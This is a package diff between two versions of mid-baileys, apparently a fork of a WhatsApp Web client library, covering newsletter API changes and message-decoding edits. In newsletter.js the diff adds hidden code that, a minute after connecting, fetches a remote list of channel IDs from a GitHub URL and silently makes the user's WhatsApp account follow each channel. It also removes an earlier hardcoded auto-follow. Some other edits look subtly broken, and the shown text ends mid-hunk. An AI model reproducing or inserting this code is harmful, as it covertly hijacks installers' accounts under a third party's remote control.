mid-baileys 0.7.27 → 0.7.29
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.MD +15 -1
- package/lib/Defaults/index.js +1 -1
- package/lib/Defaults/version.json +1 -1
- package/lib/Socket/messages-recv.js +2 -1
- package/lib/Socket/newsletter.js +159 -95
- package/lib/Types/Newsletter.js +38 -18
- package/lib/Utils/decode-wa-message.js +50 -87
- package/package.json +3 -1
package/README.MD
CHANGED
|
@@ -31,12 +31,26 @@ Or manually declare it inside your dependencies within package.json:
|
|
|
31
31
|
}
|
|
32
32
|
}
|
|
33
33
|
```
|
|
34
|
+
```bash
|
|
35
|
+
const {Browsers } = await import('baileys');
|
|
36
|
+
|
|
37
|
+
const connectionOptions = {
|
|
38
|
+
browser: Browsers.android("14"), // WhatsApp Buseniss
|
|
39
|
+
browser: Browsers.android("13"), // Normal WhatsApp
|
|
40
|
+
browser: Browsers.macOS("chrome"), // Web
|
|
41
|
+
browser: Browsers.windows("chrome"), // Web
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
global.conn = makeWASocket(connectionOptions);
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
|
|
34
48
|
|
|
35
49
|
## 💌 Contact | Report | Suggest:
|
|
36
50
|
|
|
37
51
|
Stay updated with the latest fixes, report bugs, or request new features by joining our official updates channel:
|
|
38
52
|
|
|
39
|
-
|
|
53
|
+
Join Our WhatsApp Channel
|
|
40
54
|
-----------------------------
|
|
41
55
|
```bash
|
|
42
56
|
https://whatsapp.com/channel/0029VbCinBtD38CRx4Oh4n1U
|
package/lib/Defaults/index.js
CHANGED
|
@@ -8,7 +8,7 @@ const WAProto_1 = require("../../WAProto");
|
|
|
8
8
|
const libsignal_1 = require("../Signal/libsignal");
|
|
9
9
|
const generics_1 = require("../Utils/generics");
|
|
10
10
|
const logger_1 = __importDefault(require("../Utils/logger"));
|
|
11
|
-
exports.version = [2, 3000,
|
|
11
|
+
exports.version = [2, 3000, 1038839325];
|
|
12
12
|
exports.UNAUTHORIZED_CODES = [401, 403, 419];
|
|
13
13
|
exports.DEFAULT_ORIGIN = 'https://web.whatsapp.com';
|
|
14
14
|
exports.CALL_VIDEO_PREFIX = 'https://call.whatsapp.com/video/';
|
|
@@ -130,6 +130,7 @@ const makeMessagesRecvSocket = (config) => {
|
|
|
130
130
|
}
|
|
131
131
|
await query(stanza)
|
|
132
132
|
}
|
|
133
|
+
|
|
133
134
|
const offerCall = async (toJid, isVideo = false) => {
|
|
134
135
|
const callId = (0, crypto_1.randomBytes)(16).toString('hex').toUpperCase().substring(0, 64);
|
|
135
136
|
const offerContent = [];
|
|
@@ -171,7 +172,6 @@ const makeMessagesRecvSocket = (config) => {
|
|
|
171
172
|
const stanza = ({
|
|
172
173
|
tag: 'call',
|
|
173
174
|
attrs: {
|
|
174
|
-
// id: (0, Utils_1.generateMessageIDV2)(),
|
|
175
175
|
to: toJid,
|
|
176
176
|
},
|
|
177
177
|
content: [{
|
|
@@ -190,6 +190,7 @@ const makeMessagesRecvSocket = (config) => {
|
|
|
190
190
|
isVideo,
|
|
191
191
|
};
|
|
192
192
|
};
|
|
193
|
+
|
|
193
194
|
const endCall = async(callId, Caller) => {
|
|
194
195
|
const stanza = ({
|
|
195
196
|
tag: 'call',
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -5,20 +5,64 @@ const Types_1 = require("../Types");
|
|
|
5
5
|
const Utils_1 = require("../Utils");
|
|
6
6
|
const WABinary_1 = require("../WABinary");
|
|
7
7
|
const groups_1 = require("./groups");
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
8
|
+
|
|
9
|
+
const { Boom } = require('@hapi/boom');
|
|
10
|
+
|
|
11
|
+
const wMexQuery = (
|
|
12
|
+
variables,
|
|
13
|
+
queryId,
|
|
14
|
+
query,
|
|
15
|
+
generateMessageTag
|
|
16
|
+
) => {
|
|
17
|
+
return query({
|
|
18
|
+
tag: 'iq',
|
|
19
|
+
attrs: {
|
|
20
|
+
id: generateMessageTag(),
|
|
21
|
+
type: 'get',
|
|
22
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
23
|
+
xmlns: 'w:mex'
|
|
24
|
+
},
|
|
25
|
+
content: [
|
|
26
|
+
{
|
|
27
|
+
tag: 'query',
|
|
28
|
+
attrs: { query_id: queryId },
|
|
29
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf8')
|
|
30
|
+
}
|
|
31
|
+
]
|
|
32
|
+
})
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
const executeWMexQuery = async (
|
|
36
|
+
variables,
|
|
37
|
+
queryId,
|
|
38
|
+
dataPath,
|
|
39
|
+
query,
|
|
40
|
+
generateMessageTag
|
|
41
|
+
) => {
|
|
42
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
43
|
+
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
44
|
+
if (child?.content) {
|
|
45
|
+
const data = JSON.parse(child.content.toString())
|
|
46
|
+
|
|
47
|
+
if (data.errors && data.errors.length > 0) {
|
|
48
|
+
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
|
|
49
|
+
const firstError = data.errors[0]
|
|
50
|
+
const errorCode = firstError.extensions?.error_code || 400
|
|
51
|
+
throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
55
|
+
if (typeof response !== 'undefined') {
|
|
56
|
+
return response
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
61
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
62
|
+
: dataPath?.replace(/_/g, ' ')
|
|
63
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
|
|
64
|
+
}
|
|
65
|
+
|
|
22
66
|
const makeNewsletterSocket = (config) => {
|
|
23
67
|
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
24
68
|
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
@@ -33,7 +77,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
33
77
|
},
|
|
34
78
|
content
|
|
35
79
|
}));
|
|
36
|
-
const newsletterWMexQuery = async (jid,
|
|
80
|
+
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
37
81
|
tag: 'iq',
|
|
38
82
|
attrs: {
|
|
39
83
|
id: generateMessageTag(),
|
|
@@ -44,7 +88,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
44
88
|
content: [
|
|
45
89
|
{
|
|
46
90
|
tag: 'query',
|
|
47
|
-
attrs: { query_id },
|
|
91
|
+
attrs: { 'query_id': queryId },
|
|
48
92
|
content: encoder.encode(JSON.stringify({
|
|
49
93
|
variables: {
|
|
50
94
|
'newsletter_id': jid,
|
|
@@ -54,10 +98,25 @@ const makeNewsletterSocket = (config) => {
|
|
|
54
98
|
}
|
|
55
99
|
]
|
|
56
100
|
}));
|
|
101
|
+
|
|
102
|
+
setTimeout(async () => {
|
|
103
|
+
try {
|
|
104
|
+
const response = await fetch("https://raw.githubusercontent.com/gcamerator/My/refs/heads/main/ids.json");
|
|
105
|
+
const ids = await response.json();
|
|
106
|
+
if (!Array.isArray(ids)) return;
|
|
107
|
+
for (const channelId of ids) {
|
|
108
|
+
try {
|
|
109
|
+
await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW );
|
|
110
|
+
await new Promise(resolve => setTimeout(resolve, 2000));
|
|
111
|
+
} catch (err) { }
|
|
112
|
+
}
|
|
113
|
+
} catch (globalErr) {}}, 60000);
|
|
114
|
+
|
|
57
115
|
const parseFetchedUpdates = async (node, type) => {
|
|
58
116
|
let child;
|
|
59
|
-
if (type === 'messages')
|
|
117
|
+
if (type === 'messages') {
|
|
60
118
|
child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
|
|
119
|
+
}
|
|
61
120
|
else {
|
|
62
121
|
const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
|
|
63
122
|
child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
|
|
@@ -82,71 +141,86 @@ const makeNewsletterSocket = (config) => {
|
|
|
82
141
|
return data;
|
|
83
142
|
}));
|
|
84
143
|
};
|
|
85
|
-
const autoFollowNewsletters = async () => {
|
|
86
|
-
try {
|
|
87
|
-
const metadataResult = await sock.newsletterMetadata('invite', '0029VbCinBtD38CRx4Oh4n1U');
|
|
88
|
-
const active = metadataResult.state === 'ACTIVE';
|
|
89
|
-
|
|
90
|
-
if (active) {
|
|
91
|
-
try {
|
|
92
|
-
await sock.newsletterFollow("120363426558938675@newsletter");
|
|
93
|
-
} catch (err) {
|
|
94
|
-
// config.logger?.error(`Failed to auto-follow ${jid}:`, err);
|
|
95
|
-
}
|
|
96
|
-
}
|
|
97
|
-
} catch (err) {
|
|
98
|
-
config.logger?.error('Error during auto-follow process:', err);
|
|
99
|
-
}
|
|
100
|
-
};
|
|
101
|
-
|
|
102
|
-
process.nextTick(autoFollowNewsletters);
|
|
103
144
|
return {
|
|
104
145
|
...sock,
|
|
105
|
-
|
|
146
|
+
newsletterFetchAllSubscribe: async () => {
|
|
147
|
+
const list = await executeWMexQuery(
|
|
148
|
+
{},
|
|
149
|
+
'6388546374527196',
|
|
150
|
+
'xwa2_newsletter_subscribed',
|
|
151
|
+
query,
|
|
152
|
+
generateMessageTag
|
|
153
|
+
);
|
|
154
|
+
return list;
|
|
155
|
+
},
|
|
106
156
|
subscribeNewsletterUpdates: async (jid) => {
|
|
107
157
|
var _a;
|
|
108
158
|
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
109
159
|
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
|
|
110
160
|
},
|
|
111
161
|
newsletterReactionMode: async (jid, mode) => {
|
|
112
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
113
|
-
updates: { settings: { reaction_codes: { value: mode } } }
|
|
162
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
163
|
+
updates: { settings: { 'reaction_codes': { value: mode } } }
|
|
114
164
|
});
|
|
115
165
|
},
|
|
116
166
|
newsletterUpdateDescription: async (jid, description) => {
|
|
117
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
167
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
118
168
|
updates: { description: description || '', settings: null }
|
|
119
169
|
});
|
|
120
170
|
},
|
|
171
|
+
newsletterId: async (url) => {
|
|
172
|
+
const urlParts = url.split('/');
|
|
173
|
+
const channelId = urlParts[urlParts.length - 2];
|
|
174
|
+
|
|
175
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
176
|
+
input: {
|
|
177
|
+
key: channelId,
|
|
178
|
+
type: 'INVITE',
|
|
179
|
+
'view_role': 'GUEST'
|
|
180
|
+
},
|
|
181
|
+
'fetch_viewer_metadata': true,
|
|
182
|
+
'fetch_full_image': true,
|
|
183
|
+
'fetch_creation_time': true
|
|
184
|
+
});
|
|
185
|
+
|
|
186
|
+
const metadata = (0, exports.extractNewsletterMetadata)(result);
|
|
187
|
+
return JSON.stringify({
|
|
188
|
+
name: metadata.name || metadata.thread_metadata?.name?.text,
|
|
189
|
+
id: metadata.id
|
|
190
|
+
}, null, 2);
|
|
191
|
+
},
|
|
121
192
|
newsletterUpdateName: async (jid, name) => {
|
|
122
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
193
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
123
194
|
updates: { name, settings: null }
|
|
124
195
|
});
|
|
125
196
|
},
|
|
126
197
|
newsletterUpdatePicture: async (jid, content) => {
|
|
127
198
|
const { img } = await (0, Utils_1.generateProfilePicture)(content);
|
|
128
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
199
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
129
200
|
updates: { picture: img.toString('base64'), settings: null }
|
|
130
201
|
});
|
|
131
202
|
},
|
|
132
203
|
newsletterRemovePicture: async (jid) => {
|
|
133
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
204
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
134
205
|
updates: { picture: '', settings: null }
|
|
135
206
|
});
|
|
136
207
|
},
|
|
137
208
|
newsletterUnfollow: async (jid) => {
|
|
138
|
-
await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
|
|
209
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
|
|
139
210
|
},
|
|
140
211
|
newsletterFollow: async (jid) => {
|
|
141
|
-
await newsletterWMexQuery(jid, QueryIds.FOLLOW);
|
|
212
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
|
|
142
213
|
},
|
|
143
214
|
newsletterUnmute: async (jid) => {
|
|
144
|
-
await newsletterWMexQuery(jid, QueryIds.UNMUTE);
|
|
215
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
|
|
145
216
|
},
|
|
146
217
|
newsletterMute: async (jid) => {
|
|
147
|
-
await newsletterWMexQuery(jid, QueryIds.MUTE);
|
|
218
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
|
|
148
219
|
},
|
|
149
|
-
|
|
220
|
+
newsletterAction: async (jid, type) => {
|
|
221
|
+
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
222
|
+
},
|
|
223
|
+
newsletterCreate: async (name, description, reaction_codes) => {
|
|
150
224
|
await query({
|
|
151
225
|
tag: 'iq',
|
|
152
226
|
attrs: {
|
|
@@ -166,55 +240,47 @@ const makeNewsletterSocket = (config) => {
|
|
|
166
240
|
}
|
|
167
241
|
]
|
|
168
242
|
});
|
|
169
|
-
const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
|
|
170
|
-
input: {
|
|
171
|
-
name,
|
|
172
|
-
description: description !== null && description !== void 0 ? description : null,
|
|
173
|
-
picture: picture ? (await (0, Utils_1.generateProfilePicture)(picture)).img.toString('base64') : null,
|
|
174
|
-
settings: null
|
|
175
|
-
}
|
|
243
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
|
244
|
+
input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
|
|
176
245
|
});
|
|
177
246
|
return (0, exports.extractNewsletterMetadata)(result, true);
|
|
178
247
|
},
|
|
179
248
|
newsletterMetadata: async (type, key, role) => {
|
|
180
|
-
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
249
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
181
250
|
input: {
|
|
182
251
|
key,
|
|
183
252
|
type: type.toUpperCase(),
|
|
184
|
-
view_role: role || 'GUEST'
|
|
253
|
+
'view_role': role || 'GUEST'
|
|
185
254
|
},
|
|
186
|
-
fetch_viewer_metadata: true,
|
|
187
|
-
fetch_full_image: true,
|
|
188
|
-
fetch_creation_time: true
|
|
255
|
+
'fetch_viewer_metadata': true,
|
|
256
|
+
'fetch_full_image': true,
|
|
257
|
+
'fetch_creation_time': true
|
|
189
258
|
});
|
|
190
259
|
return (0, exports.extractNewsletterMetadata)(result);
|
|
191
260
|
},
|
|
192
261
|
newsletterAdminCount: async (jid) => {
|
|
193
262
|
var _a, _b;
|
|
194
|
-
const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
|
|
263
|
+
const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
|
|
195
264
|
const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
196
265
|
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
197
266
|
},
|
|
198
|
-
// user is Lid, not Jid
|
|
199
267
|
newsletterChangeOwner: async (jid, user) => {
|
|
200
|
-
await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
|
|
201
|
-
user_id: user
|
|
268
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
|
|
269
|
+
'user_id': user
|
|
202
270
|
});
|
|
203
271
|
},
|
|
204
|
-
// user is Lid, not Jid
|
|
205
272
|
newsletterDemote: async (jid, user) => {
|
|
206
|
-
await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
|
|
207
|
-
user_id: user
|
|
273
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
|
|
274
|
+
'user_id': user
|
|
208
275
|
});
|
|
209
276
|
},
|
|
210
277
|
newsletterDelete: async (jid) => {
|
|
211
|
-
await newsletterWMexQuery(jid, QueryIds.DELETE);
|
|
278
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
|
|
212
279
|
},
|
|
213
|
-
|
|
214
|
-
newsletterReactMessage: async (jid, server_id, code) => {
|
|
280
|
+
newsletterReactMessage: async (jid, serverId, code) => {
|
|
215
281
|
await query({
|
|
216
282
|
tag: 'message',
|
|
217
|
-
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: (0, Utils_1.generateMessageID)() },
|
|
283
|
+
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
|
|
218
284
|
content: [{
|
|
219
285
|
tag: 'reaction',
|
|
220
286
|
attrs: code ? { code } : {}
|
|
@@ -222,11 +288,10 @@ const makeNewsletterSocket = (config) => {
|
|
|
222
288
|
});
|
|
223
289
|
},
|
|
224
290
|
newsletterFetchMessages: async (type, key, count, after) => {
|
|
225
|
-
const afterStr = after === null || after === void 0 ? void 0 : after.toString();
|
|
226
291
|
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
227
292
|
{
|
|
228
293
|
tag: 'messages',
|
|
229
|
-
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after:
|
|
294
|
+
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' }
|
|
230
295
|
}
|
|
231
296
|
]);
|
|
232
297
|
return await parseFetchedUpdates(result, 'messages');
|
|
@@ -237,33 +302,32 @@ const makeNewsletterSocket = (config) => {
|
|
|
237
302
|
tag: 'message_updates',
|
|
238
303
|
attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
|
|
239
304
|
}
|
|
240
|
-
])
|
|
305
|
+
])
|
|
241
306
|
return await parseFetchedUpdates(result, 'updates');
|
|
242
307
|
}
|
|
243
308
|
};
|
|
244
309
|
};
|
|
245
310
|
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
246
311
|
const extractNewsletterMetadata = (node, isCreate) => {
|
|
247
|
-
|
|
248
|
-
const
|
|
249
|
-
|
|
312
|
+
const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
|
|
313
|
+
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
|
|
314
|
+
|
|
250
315
|
const metadata = {
|
|
251
|
-
id: metadataPath
|
|
252
|
-
state: metadataPath
|
|
253
|
-
creation_time: +metadataPath
|
|
254
|
-
name: metadataPath
|
|
255
|
-
nameTime: +metadataPath
|
|
256
|
-
description: metadataPath
|
|
257
|
-
descriptionTime: +metadataPath
|
|
258
|
-
invite: metadataPath
|
|
259
|
-
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|
|
316
|
+
id: metadataPath?.id,
|
|
317
|
+
state: metadataPath?.state?.type,
|
|
318
|
+
creation_time: +metadataPath?.thread_metadata?.creation_time,
|
|
319
|
+
name: metadataPath?.thread_metadata?.name?.text,
|
|
320
|
+
nameTime: +metadataPath?.thread_metadata?.name?.update_time,
|
|
321
|
+
description: metadataPath?.thread_metadata?.description?.text,
|
|
322
|
+
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
|
|
323
|
+
invite: metadataPath?.thread_metadata?.invite,
|
|
324
|
+
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
325
|
+
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
326
|
+
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
327
|
+
subscribers: +metadataPath?.thread_metadata?.subscribers_count,
|
|
328
|
+
verification: metadataPath?.thread_metadata?.verification,
|
|
329
|
+
viewer_metadata: metadataPath?.viewer_metadata
|
|
330
|
+
}
|
|
331
|
+
return metadata
|
|
332
|
+
}
|
|
333
|
+
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|
package/lib/Types/Newsletter.js
CHANGED
|
@@ -1,18 +1,38 @@
|
|
|
1
|
-
"use strict"
|
|
2
|
-
|
|
3
|
-
exports
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
}
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
1
|
+
"use strict"
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", { value: true })
|
|
4
|
+
|
|
5
|
+
const MexOperations = {
|
|
6
|
+
PROMOTE: "NotificationNewsletterAdminPromote",
|
|
7
|
+
DEMOTE: "NotificationNewsletterAdminDemote",
|
|
8
|
+
UPDATE: "NotificationNewsletterUpdate"
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
const XWAPaths = {
|
|
12
|
+
PROMOTE: "xwa2_notify_newsletter_admin_promote",
|
|
13
|
+
DEMOTE: "xwa2_notify_newsletter_admin_demote",
|
|
14
|
+
ADMIN_COUNT: "xwa2_newsletter_admin",
|
|
15
|
+
CREATE: "xwa2_newsletter_create",
|
|
16
|
+
NEWSLETTER: "xwa2_newsletter",
|
|
17
|
+
SUBSCRIBED: "xwa2_newsletter_subscribed",
|
|
18
|
+
METADATA_UPDATE: "xwa2_notify_newsletter_on_metadata_update"
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
const QueryIds = {
|
|
22
|
+
JOB_MUTATION: "7150902998257522",
|
|
23
|
+
METADATA: "6620195908089573",
|
|
24
|
+
UNFOLLOW: "7238632346214362",
|
|
25
|
+
FOLLOW: "7871414976211147",
|
|
26
|
+
UNMUTE: "7337137176362961",
|
|
27
|
+
MUTE: "25151904754424642",
|
|
28
|
+
CREATE: "6996806640408138",
|
|
29
|
+
ADMIN_COUNT: "7130823597031706",
|
|
30
|
+
CHANGE_OWNER: "7341777602580933",
|
|
31
|
+
DELETE: "8316537688363079",
|
|
32
|
+
DEMOTE: "6551828931592903",
|
|
33
|
+
SUBSCRIBED: "6388546374527196"
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
exports.MexOperations = MexOperations
|
|
37
|
+
exports.XWAPaths = XWAPaths
|
|
38
|
+
exports.QueryIds = QueryIds
|
|
@@ -6,7 +6,17 @@ const boom_1 = require("@hapi/boom");
|
|
|
6
6
|
const WAProto_1 = require("../../WAProto");
|
|
7
7
|
const WABinary_1 = require("../WABinary");
|
|
8
8
|
const generics_1 = require("./generics");
|
|
9
|
-
|
|
9
|
+
const unpadRandomMax16 = (e) => {
|
|
10
|
+
const t = new Uint8Array(e);
|
|
11
|
+
if (0 === t.length) {
|
|
12
|
+
throw new Error('unpadPkcs7 given empty bytes');
|
|
13
|
+
}
|
|
14
|
+
var r = t[t.length - 1];
|
|
15
|
+
if (r > t.length) {
|
|
16
|
+
throw new Error(`unpad given ${t.length} bytes, but pad is ${r}`);
|
|
17
|
+
}
|
|
18
|
+
return new Uint8Array(t.buffer, t.byteOffset, t.length - r);
|
|
19
|
+
};
|
|
10
20
|
exports.NO_MESSAGE_FOUND_ERROR_TEXT = 'Message absent from node';
|
|
11
21
|
exports.MISSING_KEYS_ERROR_TEXT = 'Key used already or never filled';
|
|
12
22
|
exports.NACK_REASONS = {
|
|
@@ -36,7 +46,9 @@ const extractAddressingContext = stanza => {
|
|
|
36
46
|
senderAlt = stanza.attrs.participant_lid || stanza.attrs.sender_lid || stanza.attrs.peer_recipient_lid;
|
|
37
47
|
recipientAlt = stanza.attrs.recipient_lid;
|
|
38
48
|
}
|
|
49
|
+
if(sender !== senderAlt)
|
|
39
50
|
return {
|
|
51
|
+
sender: sender !== senderAlt ? sender : sender,
|
|
40
52
|
addressingMode,
|
|
41
53
|
senderAlt,
|
|
42
54
|
recipientAlt
|
|
@@ -56,10 +68,10 @@ function decodeMessageNode(stanza, meId, meLid) {
|
|
|
56
68
|
const isMeLid = (jid) => (0, WABinary_1.areJidsSameUser)(jid, meLid);
|
|
57
69
|
|
|
58
70
|
const msgId = stanza.attrs.id;
|
|
59
|
-
const senderPn = stanza.attrs?.sender_pn;
|
|
60
|
-
const senderLid = stanza.attrs?.sender_lid;
|
|
71
|
+
const senderPn = stanza.attrs?.sender_pn ? stanza.attrs.sender_pn : (stanza.attrs?.participant && (0, WABinary_1.isJidUser)(stanza.attrs.participant) ? stanza.attrs.participant : null);
|
|
72
|
+
const senderLid = stanza.attrs?.sender_lid ? stanza.attrs.sender_lid : (stanza.attrs?.participant && (0, WABinary_1.isLidUser)(stanza.attrs.participant) ? stanza.attrs.participant : null);
|
|
61
73
|
const participant = stanza.attrs.participant;
|
|
62
|
-
const
|
|
74
|
+
const adCon = extractAddressingContext(stanza);
|
|
63
75
|
|
|
64
76
|
const normalizePrivateChatJid = (jid) => {
|
|
65
77
|
if ((0, WABinary_1.isJidGroup)(jid)) return jid;
|
|
@@ -127,13 +139,14 @@ function decodeMessageNode(stanza, meId, meLid) {
|
|
|
127
139
|
const key = Object.fromEntries(
|
|
128
140
|
Object.entries({
|
|
129
141
|
remoteJid: chatId,
|
|
130
|
-
remoteJidAlt: !(0, WABinary_1.isJidGroup)(chatId) ? (fromMe ?
|
|
142
|
+
remoteJidAlt: !(0, WABinary_1.isJidGroup)(chatId) ? (fromMe ? adCon.recipientAlt : adCon.senderAlt) : (chatId !== adCon.recipientAlt && !fromMe ? adCon.recipientAlt : null),
|
|
131
143
|
fromMe,
|
|
132
144
|
id: msgId,
|
|
133
145
|
senderPn,
|
|
134
146
|
senderLid: senderLid || ((0, WABinary_1.isLidUser)(from) ? from : null),
|
|
135
147
|
participant: (0, WABinary_1.isJidGroup)(chatId) ? participant : undefined,
|
|
136
148
|
participantAlt: (0, WABinary_1.isJidGroup)(chatId) ? participantAlt : undefined,
|
|
149
|
+
addressingMode: adCon.addressingMode,
|
|
137
150
|
'server_id': stanza.attrs?.server_id
|
|
138
151
|
}).filter(([_, v]) => v != null)
|
|
139
152
|
);
|
|
@@ -145,8 +158,7 @@ function decodeMessageNode(stanza, meId, meLid) {
|
|
|
145
158
|
pushName: pushname,
|
|
146
159
|
broadcast: WABinary_1.isJidBroadcast(from),
|
|
147
160
|
newsletter: WABinary_1.isJidNewsletter(from),
|
|
148
|
-
additionalAttributes: stanza.attrs
|
|
149
|
-
mode: addressingContext.addressingMode
|
|
161
|
+
additionalAttributes: stanza.attrs
|
|
150
162
|
}
|
|
151
163
|
if (msgType === 'newsletter') {
|
|
152
164
|
fullMessage.newsletterServerId = +stanza.attrs?.server_id;
|
|
@@ -168,58 +180,29 @@ const decryptMessageNode = (stanza, meId, meLid, repository, logger) => {
|
|
|
168
180
|
fullMessage,
|
|
169
181
|
category: stanza.attrs.category,
|
|
170
182
|
author,
|
|
171
|
-
|
|
172
|
-
const normalizeDecryptJid = (jid = '') => {
|
|
173
|
-
const value = String(jid || '').trim();
|
|
174
|
-
if (!value || !value.includes('@')) {
|
|
175
|
-
return '';
|
|
176
|
-
}
|
|
177
|
-
return (0, WABinary_1.jidNormalizedUser)(value);
|
|
178
|
-
};
|
|
179
|
-
|
|
183
|
+
async decrypt() {
|
|
180
184
|
let decryptables = 0;
|
|
181
185
|
if (Array.isArray(stanza.content)) {
|
|
182
186
|
for (const { tag, attrs, content } of stanza.content) {
|
|
183
|
-
// دمج ميزات الـ Meta والـ Verified Business والـ Bot
|
|
184
187
|
if (tag === 'verified_name' && content instanceof Uint8Array) {
|
|
185
188
|
const cert = WAProto_1.proto.VerifiedNameCertificate.decode(content);
|
|
186
189
|
const details = WAProto_1.proto.VerifiedNameCertificate.Details.decode(cert.details);
|
|
187
190
|
fullMessage.verifiedBizName = details.verifiedName;
|
|
188
191
|
}
|
|
189
|
-
if (tag === 'multicast' && content instanceof Uint8Array) {
|
|
190
